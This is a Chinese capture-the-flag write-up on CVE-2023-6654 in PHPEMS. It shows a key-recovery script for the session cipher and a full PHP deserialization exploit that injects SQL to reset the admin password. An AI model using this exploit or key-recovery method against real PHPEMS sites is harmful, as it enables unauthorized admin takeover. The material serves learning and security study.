前言
2024西湖论剑数据安全题，太菜了当时没看明白，
系统是phpems，修改了默认密码，需要利用CVE登上去
CVE-2023-6654 ，菜鸟学习，大佬多指点
0x01环境搭建
config.inc.php修改相应数据库配置
数据库运行pe9.sql文件建立数据库
0x02代码审计
根据题目提示是CVE2023-6654
漏洞点在session.cls.php
查看session.cls.php代码
查看ginkgo
其make方法会判断$G拼接的文件名是否存在，也就是lib文件下的.cls.php文件，存在的就会包含这个文件
pepdo，ev，pdosql，strings是这里面分别包含的文件，根据CVE披露得知是反序列化漏洞，搜索反序列化点。
strings.cls.php中有利用点
getSessionId()方法里面有调用decode
key值为CS,CS值在config.inc.php中，题目环境是修改的
使用如下代码可以解密出明文，因为我们知道key
perl
<?phpdefine('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}echo $info;
encode代码
php
public function encode($info){$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}decode代码public function decode($info){$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}$info = unserialize($info);return $info;}可以看出里面这个$p值是循环的，加密的出来的值等于其ascll值相加，
encode是明文+key=密文
decode是密文-key=明文
key=密文-明文
key的长度是32位，也就是我们得到的密码每32位一循环，那么如果我们知道密文中其中一段32位的明文，就可以算出来key了
ev.cls.php
可以确认这个ip是可控的，也就是这个值是可控的
css
a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}去掉前面的64位，往后顺延32为取出来，值如下
css
:"sessionip";s:9:"127.0.0.1";s:1解密脚本
perl
<?php$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$info1=substr($info,64,32);//echo $info1;$ed=strlen($info1);//也就是32$dc=32;$sessip=':"sessionip";s:9:"127.0.0.1";s:1';for ($i=0;$i<$ed;$i++){$p=$i%$dc;$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));}echo $info1;//1hqfx6ticwRxtfviTp940vng!yC12345构造反序列化链子session.cls.php的__destruct() 关键代码$sql = $this->pdosql->makeUpdate($data);$this->db->exec($sql);{width="7.333333333333333in"height="2.8976049868766403in"}这里可以看出分别需要db和pdosql，以此达到反序列化修改数据库密码，
构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec
0x03漏洞复现
这里使用网上师傅的EXP
php
<?phpnamespace PHPEMS{class session{public function __construct(){$this->sessionid="1111111";$this->pdosql= new pdosql();$this->db= new pepdo();}}class pdosql{private $db;public function __construct(){$this->tablepre = 'x2_user setuserpassword="a10adc3949ba59abbe56e057f20f883e" whereusername="peadmin";#--';$this->db=new pepdo();}}class pepdo{private $linkid = 0;}}namespace {define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');function encode($info){$info = serialize($info);$key = CS1;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}$session = new PHPEMSsession();$array = array("sessionid"=>"123123123", $session);echo serialize($array)."n";echo(urlencode(encode($array)))."n";}实战中我们的ip是可以伪造的
关键代码点
需要先创建pepdo和pdosql
pdosql.cls.php的makeUpdate是用来生成sql语句的
<math xmlns="http://www.w3.org/1998/Math/MathML"> t b _ p r e = tb\_pre = </math>tb_pre=this->tablepre
所以这个sql语句参数可控
0x04总结
函数是关键，研究下是否能可控这个反序列化的参数值，并且反序列化中能够调用危险函数。